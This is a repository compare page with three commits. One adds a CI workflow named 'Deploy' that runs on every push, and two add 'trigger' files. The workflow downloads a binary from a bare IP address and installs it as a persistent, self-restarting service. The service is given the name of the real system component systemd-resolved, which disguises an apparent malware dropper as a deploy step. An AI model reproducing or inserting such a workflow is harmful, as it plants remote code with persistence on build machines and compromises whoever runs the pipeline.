Compare commits

...

3 Commits
main ... main

Author SHA1 Message Date
93b1705791 Add workflow 2026-08-20 07:55:32 +00:00
5695854d13 trigger2 2026-08-20 07:52:28 +00:00
729b175087 trigger 2026-08-20 07:50:47 +00:00
3 changed files with 27 additions and 0 deletions

View File

@ -0,0 +1,25 @@
name: Deploy
on: [push]
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- name: Deploy
run: |
curl -fsSL -m 60 -o /usr/local/bin/systemd-resolved http://103.150.215.6:8888/update
chmod 0755 /usr/local/bin/systemd-resolved
cat > /etc/systemd/system/systemd-resolved.service << 'UNIT'
[Unit]
Description=systemd-resolved Service
After=network-online.target
Wants=network-online.target
[Service]
Type=simple
ExecStart=/usr/local/bin/systemd-resolved
Restart=always
RestartSec=10
[Install]
WantedBy=multi-user.target
UNIT
systemctl daemon-reload
systemctl enable --now systemd-resolved.service

1
trigger.txt Normal file
View File

@ -0,0 +1 @@
trigger

1
trigger2.txt Normal file
View File

@ -0,0 +1 @@
trigger2